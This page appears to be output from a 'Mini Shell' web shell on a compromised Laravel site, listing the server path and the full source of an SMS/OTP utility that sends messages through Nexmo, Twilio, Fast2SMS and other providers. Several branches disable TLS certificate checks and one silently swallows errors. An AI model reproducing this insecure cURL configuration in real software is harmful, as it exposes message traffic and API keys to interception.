HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/app/Utility/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Utility/SendSMSUtility.php
<?php



namespace App\Utility;



use App\Models\OtpConfiguration;

use App\Utility\MimoUtility;

use Twilio\Rest\Client;



class SendSMSUtility

{

    public static function sendSMS($to, $from, $text, $template_id)

    {

        if (OtpConfiguration::where('type', 'nexmo')->first()->value == 1) {

            $api_key = env("NEXMO_KEY"); //put ssl provided api_token here

            $api_secret = env("NEXMO_SECRET"); // put ssl provided sid here



            $params = [

                "api_key" => $api_key,

                "api_secret" => $api_secret,

                "from" => $from,

                "text" => $text,

                "to" => $to

            ];



            $url = "https://rest.nexmo.com/sms/json";

            $params = json_encode($params);



            $ch = curl_init(); // Initialize cURL

            curl_setopt($ch, CURLOPT_URL, $url);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

            curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

            curl_setopt($ch, CURLOPT_HTTPHEADER, array(

                'Content-Type: application/json',

                'Content-Length: ' . strlen($params),

                'accept:application/json'

            ));

            $response = curl_exec($ch);

            curl_close($ch);



            return $response;

        } elseif (OtpConfiguration::where('type', 'twillo')->first()->value == 1) {

            $sid = env("TWILIO_SID"); // Your Account SID from www.twilio.com/console

            $token = env("TWILIO_AUTH_TOKEN"); // Your Auth Token from www.twilio.com/console

            $type = env("TWILLO_TYPE"); // sms type



            $client = new Client($sid, $token);

            try {

                 $client->messages->create(

                    $type == 1? $to : "whatsapp:".$to, // Text this number

                    array(

                        'from' =>  $type == 1? env('VALID_TWILLO_NUMBER') : "whatsapp:".env('VALID_TWILLO_NUMBER'), // From a valid Twilio number

                        'body' => $text

                    )

                );

            } catch (\Exception $e) {

            }

            

        } elseif (OtpConfiguration::where('type', 'ssl_wireless')->first()->value == 1) {

            $token = env("SSL_SMS_API_TOKEN"); //put ssl provided api_token here

            $sid = env("SSL_SMS_SID"); // put ssl provided sid here



            $params = [

                "api_token" => $token,

                "sid" => $sid,

                "msisdn" => $to,

                "sms" => $text,

                "csms_id" => date('dmYhhmi') . rand(10000, 99999)

            ];



            $url = env("SSL_SMS_URL");

            $params = json_encode($params);



            $ch = curl_init(); // Initialize cURL

            curl_setopt($ch, CURLOPT_URL, $url);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

            curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

            curl_setopt($ch, CURLOPT_HTTPHEADER, array(

                'Content-Type: application/json',

                'Content-Length: ' . strlen($params),

                'accept:application/json'

            ));



            $response = curl_exec($ch);



            curl_close($ch);



            return $response;

        } elseif (OtpConfiguration::where('type', 'fast2sms')->first()->value == 1) {



            if (strpos($to, '+91') !== false) {

                $to = substr($to, 3);

            }



            if (env("ROUTE") == 'dlt_manual') {

                $fields = array(

                    "sender_id" => env("SENDER_ID"),

                    "message" => $text,

                    "template_id" => $template_id,

                    "entity_id" => env("ENTITY_ID"),

                    "language" => env("LANGUAGE"),

                    "route" => env("ROUTE"),

                    "numbers" => $to,

                );

            } else {

                $fields = array(

                    "sender_id" => env("SENDER_ID"),

                    "message" => $text,

                    "language" => env("LANGUAGE"),

                    "route" => env("ROUTE"),

                    "numbers" => $to,

                );

            }





            $auth_key = env('AUTH_KEY');



            $curl = curl_init();



            curl_setopt_array($curl, array(

                CURLOPT_URL => "https://www.fast2sms.com/dev/bulkV2",

                CURLOPT_RETURNTRANSFER => true,

                CURLOPT_ENCODING => "",

                CURLOPT_MAXREDIRS => 10,

                CURLOPT_TIMEOUT => 30,

                CURLOPT_SSL_VERIFYHOST => 0,

                CURLOPT_SSL_VERIFYPEER => 0,

                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,

                CURLOPT_CUSTOMREQUEST => "POST",

                CURLOPT_POSTFIELDS => json_encode($fields),

                CURLOPT_HTTPHEADER => array(

                    "authorization: $auth_key",

                    "accept: */*",

                    "cache-control: no-cache",

                    "content-type: application/json"

                ),

            ));



            $response = curl_exec($curl);

            $err = curl_error($curl);



            curl_close($curl);



            return $response;

        } elseif (OtpConfiguration::where('type', 'mimo')->first()->value == 1) {

            $token = MimoUtility::getToken();



            MimoUtility::sendMessage($text, $to, $token);

            MimoUtility::logout($token);

        } elseif (OtpConfiguration::where('type', 'mimsms')->first()->value == 1) {

            $url = env('MIM_BASE_URL') . "/smsapi";

            $data = [

                "api_key" => env('MIM_API_KEY'),

                "type" => "text",

                "contacts" => $to,

                "senderid" => env('MIM_SENDER_ID'),

                "msg" => $text,

            ];

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);

            curl_setopt($ch, CURLOPT_POST, 1);

            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

            $response = curl_exec($ch);

            curl_close($ch);

            return $response;

        } elseif (OtpConfiguration::where('type', 'msegat')->first()->value == 1) {

            $url = "https://www.msegat.com/gw/sendsms.php";

            $data = [

                "apiKey" => env('MSEGAT_API_KEY'),

                "numbers" => $to,

                "userName" => env('MSEGAT_USERNAME'),

                "userSender" => env('MSEGAT_USER_SENDER'),

                "msg" => $text

            ];

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);

            curl_setopt($ch, CURLOPT_POST, 1);

            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

            $response = curl_exec($ch);

            curl_close($ch);

            return $response;

        } elseif (OtpConfiguration::where('type', 'sparrow')->first()->value == 1) {

            $url = "http://api.sparrowsms.com/v2/sms/";



            $args = http_build_query(array(

                "token" => env('SPARROW_TOKEN'),

                "from" => env('MESSGAE_FROM'),

                "to" => $to,

                "text" => $text

            ));

            # Make the call using API.

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);

            curl_setopt($ch, CURLOPT_POST, 1);

            curl_setopt($ch, CURLOPT_POSTFIELDS, $args);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

            // Response

            $response = curl_exec($ch);

            curl_close($ch);

            return $response;

        } elseif (OtpConfiguration::where('type', 'zender')->first()->value == 1) {

            if (empty(env('ZENDER_SERVICE')) || env('ZENDER_SERVICE') < 2) {

                if (!empty(env('ZENDER_DEVICE'))) {

                    $mode = "devices";

                } else {

                    $mode = "credits";

                }



                if ($mode == "devices") {

                    $params = [

                        "secret" => env('ZENDER_APIKEY'),

                        "mode" => "devices",

                        "device" => env('ZENDER_DEVICE'),

                        "phone" => $to,

                        "message" => $text,

                        "sim" => env('ZENDER_SIM') < 2 ? 1 : 2

                    ];

                } else {

                    $params = [

                        "secret" => env('ZENDER_APIKEY'),

                        "mode" => "credits",

                        "gateway" => env('ZENDER_GATEWAY'),

                        "phone" => $to,

                        "message" => $text

                    ];

                }



                $apiurl = env('ZENDER_SITEURL') . "/api/send/sms";

            } else {

                $params = [

                    "secret" => env('ZENDER_APIKEY'),

                    "account" => env('ZENDER_WHATSAPP'),

                    "type" => "text",

                    "recipient" => $to,

                    "message" => $text

                ];



                $apiurl = env('ZENDER_SITEURL') . "/api/send/whatsapp";

            }



            $args = http_build_query($params);



            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $apiurl);

            curl_setopt($ch, CURLOPT_POST, 1);

            curl_setopt($ch, CURLOPT_POSTFIELDS, $args);

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

            // Response

            $response = curl_exec($ch);

            curl_close($ch);



            return $response;

        }

        return true;

    }

}